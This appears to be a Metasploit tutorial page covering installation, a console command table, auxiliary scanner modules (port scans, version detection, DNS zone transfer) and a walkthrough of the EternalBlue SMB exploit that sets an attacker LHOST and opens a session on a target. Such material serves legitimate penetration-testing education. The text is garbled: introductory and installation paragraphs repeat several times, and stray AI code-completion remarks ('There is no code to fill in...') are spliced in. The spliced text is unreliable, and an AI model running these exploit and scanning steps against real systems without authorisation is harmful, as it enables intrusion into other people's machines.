Metasploit

Metasploit is a powerful penetration testing framework that provides a comprehensive platform for developing, testing, and executing exploits. It contains a large database of known vulnerabilities, exploits, and auxiliary modules that can be used for security testing and assessment.There is no code to fill in. The prefix contains only text, and there is no code snippet to complete. Metasploit is a powerful penetration testing framework that provides a comprehensive platform for developing, testing, and executing exploits. It contains a large database of known vulnerabilities, exploits, and auxiliary modules that can be used for security testing and assessment.There is no code to fill in. The prefix contains only text, and there is no code snippet to complete. On Kali Linux, Metasploit comes pre-installed. For other systems, you can install it using the following commands:

Architecture

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Debian/Ubuntu-based systems

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

Getting Started

To update Metasploit to the latest version and launch the console:

msfupdate
msfconsole

Metasploit is a powerful penetration testing framework that provides a comprehensive platform for developing, testing, and executing exploits. It contains a large database of known vulnerabilities, exploits, and auxiliary modules that can be used for security testing and assessment.There is no code to fill in. The prefix contains only text, and there is no code snippet to complete.## Installation

On Kali Linux, Metasploit comes pre-installed. For other systems, you can install it using the following commands:

Debian/Ubuntu-based systems

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

Since there’s no code to rewrite in the specified section (it’s empty between the prefix and suffix), and the instruction simply says “here”, I’ll assume you want to add content between the prefix and suffix. Based on the context, I’ll add an introductory section about Metasploit:

Installation

On Kali Linux, Metasploit comes pre-installed. For other systems, you can install it using the following commands:

Debian/Ubuntu-based systems

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

Getting Started

To update Metasploit to the latest version and launch the console:

msfupdate
msfconsole

Commonly used Metasploit (MSF) commands

CommandDescription
msfconsoleStart the Metasploit console.
search [module_name]Search for specific modules (exploits, payloads, etc.).
use [module_path]Select a module to use (e.g., exploit, auxiliary).
show optionsDisplay available options for the selected module.
set [option] [value]Set a specific option for the module.
exploitExecute the selected exploit against the target.
backGo back to the previous menu or module.
infoDisplay information about the selected module.
sessionsList active sessions from exploited targets.
sessions -i [session_id]Interact with a specific session.
run [module_name]Execute an auxiliary module (instead of using exploit).
db_nmap [options]Run Nmap scans and store results in the database.
setg [option] [value]Set a global option for all modules.
exitExit the Metasploit console.
saveSave the current workspace.
jobsList running jobs.
kill [job_id]Terminate a specific job.
workspace [name]Switch to a different workspace or create a new one.
workspace [name]Switch to a different workspace or create a new one.
db_statusCheck the status of the database connection.
db_import [file]Import scan results from various formats into the database.
db_export [file]Export database contents to a file.

Auxiliary Modules

Auxiliary modules in Metasploit are non-exploitation tools that perform various tasks such as scanning, enumeration, and information gathering. They are useful for reconnaissance and identifying vulnerabilities in a target system.

Example: Running an Auxiliary Module

Scenario: You want to use an auxiliary module to perform a port scan on a target IP address.

  1. Start Metasploit:

    msfconsole
    
  2. Search for available auxiliary modules:

    search auxiliary
    
  3. Choose a specific module, e.g., TCP port scanner:

    use auxiliary/scanner/portscan/tcp
    
  4. Display module options:

    show options
    
  5. Set the target IP address:

    set RHOSTS 192.168.1.1
    
  6. Set the port range (optional):

    set PORTS 1-1000
    
  7. Run the module:

    run
    

After executing the run command, Metasploit will perform the TCP port scan on the specified target and display the results in the console.

Here are a few examples of commonly used auxiliary modules in Metasploit, along with descriptions of what they do:

Next Examples

These examples demonstrate how to use different auxiliary modules in Metasploit for tasks such as scanning for open ports, detecting versions, performing DNS queries, and discovering live hosts on a network. Each module usually requires specifying the target (using RHOSTS or similar options) before running the command to execute the desired task.

  1. TCP Port Scanner

    • Module Path: auxiliary/scanner/portscan/tcp

    • Description: Scans a range of IP addresses for open TCP ports.

    • Usage:

      use auxiliary/scanner/portscan/tcp
      set RHOSTS 192.168.1.0/24      # Set the target network
      set PORTS 1-1000                # Specify the port range
      run                             # Execute the port scan
      
  2. HTTP Version Detection

    • Module Path: auxiliary/scanner/http/http_version

    • Description: Determines the HTTP version used by web servers.

    • Usage:

      use auxiliary/scanner/http/http_version
      set RHOSTS 192.168.1.1        # Set the target IP
      set RPORT 80                  # Specify the port (if not 80)
      run                           # Execute the scan
      
  3. DNS Zone Transfer

    • Module Path: auxiliary/scanner/dns/dns_zone_transfer

    • Description: Attempts to perform a zone transfer on a DNS server to obtain information about the domain.

    • Usage:

      use auxiliary/scanner/dns/dns_zone_transfer
      set RHOSTS example.com         # Set the target domain
      run                             # Execute zone transfer
      
  4. SMB Version Detection

    • Module Path: auxiliary/scanner/smb/smb_version

    • Description: Detects the version of SMB running on a target.

    • Usage:

      use auxiliary/scanner/smb/smb_version
      set RHOSTS 192.168.1.1        # Set the target IP
      run                             # Execute the version detection
      
  5. Ping Sweep

    • Module Path: auxiliary/scanner/discover/udp_sweep

    • Description: Uses ICMP echo requests to discover live hosts on a network.

    • Usage:

      use auxiliary/scanner/discover/udp_sweep
      set RHOSTS 192.168.1.0/24     # Set the target subnet
      run                             # Execute the ping sweep
      

In Metasploit, sessions are created when you successfully exploit a target, often using an exploit module rather than an auxiliary module. Below is a brief overview of how to establish a session and work with exploits to create one.

Example of Establishing a Session with an Exploit Module

  1. Choosing an Exploit Module

    • Example Module: Let’s say you want to exploit a known vulnerability in an application running on a target machine.
    • Module Path: exploit/windows/smb/ms17_010_eternalblue
    • Usage:
    use exploit/windows/smb/ms17_010_eternalblue
    
  2. Show Options and Set Targets

    • Display module options:
    show options
    
    • Set the target IP address:
    set RHOSTS 192.168.1.100  # IP of the target machine
    set LHOST 192.168.1.50    # Your local IP (attacker's machine)
    
  3. Run the Exploit

    • Execute the exploit to attempt to gain a session:
    exploit
    
  4. Interact with the Session

    • List active sessions: Once the exploit is successful, a session will be created.
    sessions
    
    • Interact with the session: Choose to interact with the newly created session.
    sessions -i 1  # Replace "1" with the session ID number you want to interact with.
    

Auxiliary modules are typically used for scanning or gathering information and do not create sessions, while exploit modules are designed to take advantage of vulnerabilities to establish a session on the target machine. Using the right module is crucial for successful exploitation and session management.

CommandDescription
sessionsList all active sessions.
sessions -i [session_id]Interact with a specific session based on its ID.
sessions -lList sessions with detailed information.
sessions -k [session_id]Kill a specific session.